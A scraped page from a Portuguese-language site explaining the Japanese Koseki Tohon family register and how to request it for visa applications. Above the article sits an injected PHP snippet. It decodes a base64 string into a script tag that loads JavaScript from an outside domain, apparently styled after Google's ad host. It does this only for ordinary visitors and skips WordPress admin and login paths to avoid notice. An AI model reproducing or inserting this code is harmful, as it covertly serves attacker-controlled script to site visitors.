//ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?> O que é o "Koseki Tohon"? - JOBTIME

O que é o “Koseki Tohon”?

O Koseki tohon é o documento onde consta a ligação do descendente de japoneses com familiares japoneses e é imprescindível na obtenção de vistos 

O Comprovantes de Relação de Registros Pessoal e Familiar 「住民票・印鑑登録証明書・戸籍に関する証明書」são documentos emitidos na prefeitura onde a família do requerente esteja registrada. Este documento é a base para a solicitação de visto por parentesco com japoneses exigido pelo governo japonês. Através desse documento, o solicitante consegue provar a sua descendência japonesa.

A lei japonesa exige que todas as famílias japonesas (basicamente definidas como casais e seus filhos solteiros) notifiquem seus registros como data de nascimento, reconhecimento de paternidade, adoção, óbitos, casamentos e divórcios à autoridade local, que inclui esses registros abrangendo todos os cidadãos japoneses sob sua jurisdição. A perda de nacionalidade japonesa ou estrangeira também deve ser relatada.

Casamentos, divórcios por mútuo consentimento, reconhecimento de paternidade de filhos não conjugais e adoções (entre outros) tornam-se juridicamente eficazes apenas quando tais eventos são registrados no koseki por membros da família ou outras pessoas, conforme permitido por lei.

Quando o estrangeiro se naturaliza japonês, ele cria um Koseki para sua família.

Como obter

Para a emissão de cada comprovante, as prefeituras cobram uma tarifa. Para fazer a  solicitação do comprovante, entre em contato com a prefeitura onde está o registro de sua família. 

Normalmente as Prefeituras solicitam algum documento de identidade como a carteira de habilitação, passaporte, Zairyu Card, Hoken, etc.

Caso a solicitação seja realizada por um representante (que não esteja sob a mesma responsabilidade do requerente), será necessário uma procuração (ininjo).

Fonte: Prefeitura de Toyokawa

  • Share this post